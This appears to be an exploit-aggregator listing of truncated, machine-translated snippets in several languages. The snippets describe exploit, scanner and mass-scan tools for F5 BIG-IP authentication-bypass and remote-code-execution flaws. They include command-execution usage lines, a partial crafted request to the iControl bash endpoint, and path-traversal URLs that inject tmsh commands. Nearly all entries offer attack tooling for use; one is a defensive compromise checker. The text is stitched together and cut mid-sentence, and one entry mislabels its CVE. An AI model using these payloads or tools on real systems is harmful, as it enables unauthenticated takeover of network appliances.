CVE-2022-1388

CVE-2022-1388 في إصدارات F5 BIG-IP 16.1.x الأقدم من 16.1.2.2، وإصدارات 15.1.x الأقدم من 15.1.5.1، وإصدارات 14.1.x الأقدم من 14.1.4.6، وإصدارات 13.1.x الأقدم من 13.1.5، وجميع إصدارات 12.1.x و11.6.x، قد تتجاوز الطلبات غير المعلنة مصادقة iControl REST. استخدم أمر cURL التالي في سطر واحد لاختبار هذه...

CVE-2022-1388_refresh

CVE-2022-1388 - refresh PoC zur Ausnutzung von CVE-2022-1388 auf BigIP F5 Verwendung des Exploits root@kitploit: python3 refresh.py -h usage: refresh.py -h -u URL -f F -c CMD -s SH optional arguments: -h, --help show this help message and exit -u URL, --url URL target url -f F, --file F url file ...

CVE-2022-1388

CVE-2022-1388 Vulnerabilità di bypass dell'autenticazione in F5 BIG-IP iControl REST Optional Arguments: -h, --help show this help message and exit -u url, --url url Target url eg:"http://127.0.0.1" -f file, --file file Targets in file eg:"ip.txt" Use python3 CVE-2022-1388.py -u http://127.0.0.1...

CVE-2022-1388

CVE-2022-1388 Dieses Repository enthält den Python-Exploit-Code für CVE-2022-1388 F5 BIG-IP RCE Verwendung: exploit.py -h -t TARGET -p PORT -c CMD --ssl Optionen: -h, --help Zeigt diese Hilfemeldung an und beendet das Programm -t TARGET, --target TARGET Gibt die IP-Adresse / den Domänennamen des...

CVE-2022-1388

CVE-2022-1388 Poc:pocsuite -r CVE-2022-1388F5BIG-IPPOCEXP.py -u url Exp:pocsuite -r CVE-2022-1388F5BIG-IPPOCEXP.py -u url --attack --command command Dichiarazione di non responsabilità Questo strumento è destinato esclusivamente a studio, ricerca e verifica personale. Non deve essere utilizzato p...

CVE-2020-5902-fofa-scan

CVE-2020-5902-fofa-scan Introduzione Vulnerabilità di esecuzione remota di codice F5 BIG-IP CVE-2020-5902, script di scansione fofa Condizioni di utilizzo Utente fofa, inserire il valore di fofaproarssession. Modificare manualmente il valore della keyword alla riga 12. Modificare manualmente...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 F5 BIG-IP iControl REST Authentifizierungsumgehung-Schwachstelle ⚠️ Haftungsausschluss Dieses Tool dient ausschließlich dem Austausch zur Cybersicherheitsforschung und -abwehr. Bitte nutzen Sie es gemäß dem Cybersicherheitsgesetz verantwortungsvoll! Wenn der Benutzer...

CVE-2022-1388

F5-CVE-2022-1388-Exploit Exploit- und Prüfskript für CVE 2022-1388 Verwendung root@kitploit: / | | | || | / | |/ / \ / | | || || | | / /| | | || | ' / /'| |/' |' / /'' / /'| | / / \ V / \ V / | | | | | || ||| / / | /| | / / / / ||| | \ \ / \ / \ | /\ / /| | ./ /\ |/ /./ /./ / | |./ /| || ||...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 - Bypass dell'autenticazione e RCE in F5 BIG-IP iControl REST. root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: Accept-Encoding: gzip, deflate Accept: / Connection: close, X-F5-Auth-Token, X-Forwarded-For, Local-Ip-From-Httpd, X-F5-New-Authtok-Reqd,...

CVE-2022-1388

CVE-2022-1388-Exploit Script di exploit e verifica per CVE 2022-1388 Utilizzo Per verificare un singolo host tramite URL root@kitploit: python3 exploit.py -v true -u targeturl Per attaccare un host e testare un comando su questo host root@kitploit: python3 exploit.py -a true -u targeturl -c comma...

CVE-2020-5902

CVE-2020-5902 Riepilogo Nelle versioni BIG-IP 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1 e 11.6.1-11.6.5.1, l'interfaccia utente di gestione del traffico TMUI, nota anche come utility di configurazione, presenta una vulnerabilità di esecuzione remota del codice RCE in pagi...

f5scan

f5scan F5 BIG IP Scanner per CVE-2020-5902 di bt0 Maggiori informazioni sulla vulnerabilità: https://support.f5.com/csp/article/K52145254?sf235665517=1 Requisiti: python3+ shodan colorama urlopen pyOpenSSL $ pip3 install -r requirements Opzioni root@kitploit: -h, --help show this help message and...

CVE-2020-5903

CVE-2020-5902 RCE /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash...

CVE-2022-1388-Scanner

F5 CVE-2022-1388 Scanner Scanner per la vulnerabilità BIG-IP iControl REST CVE-2022-1388 Utilizzo root@kitploit: pip install -r requirements.txt pytohn3 CVE-2022-1388-Scanner.py Richiesta root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: REDATTO:8083 Content-Length: 45 Connection: Keep-Alive,...

CVE-2021-22986

CVE-2021-22986 Diese Schwachstelle ermöglicht es nicht authentifizierten Angreifern mit Netzwerkzugriff auf die iControl REST-Schnittstelle über die BIG-IP-Verwaltungsschnittstelle und Selbst-IP-Adressen, beliebige Systembefehle auszuführen, Dateien zu erstellen oder zu löschen und Dienste zu...

CVE-2022-1388

CVE-2022-1388 - F5 BIG-IP iControl REST Bypass dell'autenticazione e RCE Questo script Python sfrutta CVE-2022-1388, una vulnerabilità critica in F5 BIG-IP iControl REST che consente l'esecuzione remota di comandi senza autenticazione tramite un controllo degli accessi improprio e una gestione no...

F5-BIG-IP-RCE-CVE-2022-1388

Rilevamento multi-thread CVE-2022-1388 F5 BIG-IP RCE uso： root@kitploit: 单个url: python3 CVE-2022-1388.py -u https://xxx.xxx.xxx.xxx 批量多线程: python3 CVE-2022-1388.py -f url.txt 执行命令: python3 CVE-2022-1388.py -u https://xxx.xxx.xxx.xxx -c whoami risultato:...

CVE-2020-5902-fofa-scan

CVE-2020-5902-fofa-scan Introduzione F5 BIG-IP vulnerabilità di esecuzione remota di codice CVE-2020-5902, script di scansione fofa Condizioni di utilizzo Utente fofa, inserire il valore di fofaproarssession. Modificare manualmente il valore keyword alla riga 12. Modificare manualmente l'interval...

cve-2020-5902-ioc-bigip-checker

Strumento di rilevamento IoC per CVE-2020-5902 Questo script è pensato per essere eseguito localmente su un F5 BIG-IP nella Advanced Shell bash da un utente con privilegi di root; non è pensato per essere eseguito in nessun altro contesto. Nota: la modalità Appliance non consente l'accesso alla...

CVE-2023-46747

CVE-2023-46747 Uno script di sfruttamento sviluppato per sfruttare la CVE-2023-46747 che consente l'esecuzione remota di codice non autenticata Pre Auth RCE sui prodotti f5-BIG-IP. Questo script è inteso per sfruttare l'esecuzione remota di codice sui prodotti f5-BIG-IP vulnerabili. Installazione...